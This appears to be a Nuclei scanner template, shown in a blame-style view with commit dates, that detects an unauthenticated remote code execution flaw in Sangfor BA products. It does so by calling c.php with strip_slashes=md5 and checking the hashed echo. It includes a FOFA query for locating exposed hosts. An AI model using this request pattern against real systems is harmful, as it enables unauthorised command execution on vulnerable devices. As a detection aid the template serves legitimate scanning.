2022-05-11 18:47:57 +00:00
|
|
|
id: sangfor-ba-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-23 10:57:59 +00:00
|
|
|
name: Sangfor BA - Remote Code Execution
|
2022-05-11 18:47:57 +00:00
|
|
|
author: ritikchaddha
|
|
|
|
severity: critical
|
2022-05-23 10:57:59 +00:00
|
|
|
description: |
|
2022-05-30 16:18:15 +00:00
|
|
|
Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
|
2022-05-23 10:57:59 +00:00
|
|
|
reference:
|
|
|
|
- https://mobile.twitter.com/sec715/status/1406886851072253953
|
2022-05-30 16:18:15 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-30 16:18:15 +00:00
|
|
|
cwe-id: CWE-77
|
2022-05-23 10:57:59 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 1
|
2022-05-23 10:57:59 +00:00
|
|
|
fofa-query: app="sangfor"
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: rce,sangfor,intrusive
|
2022-05-11 18:47:57 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-05-11 18:47:57 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2022-05-23 10:57:59 +00:00
|
|
|
- "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"
|
2022-05-11 18:47:57 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-05-23 10:57:59 +00:00
|
|
|
- type: word
|
2022-05-11 18:47:57 +00:00
|
|
|
part: body
|
2022-05-23 10:57:59 +00:00
|
|
|
words:
|
|
|
|
- '{{md5("{{randstr}}")}}'
|
2022-05-11 18:47:57 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100f1ed5e1638d0978a3905d23b7493e75aa8e7fed23f80cd3e86f1bb05ec8e4698022027330409faf5f06d1f3d87d626fd57a2a8ce1eae8d63fa80c5240e6d49dcfeab:922c64590222798bb761d5b6d8e72950
|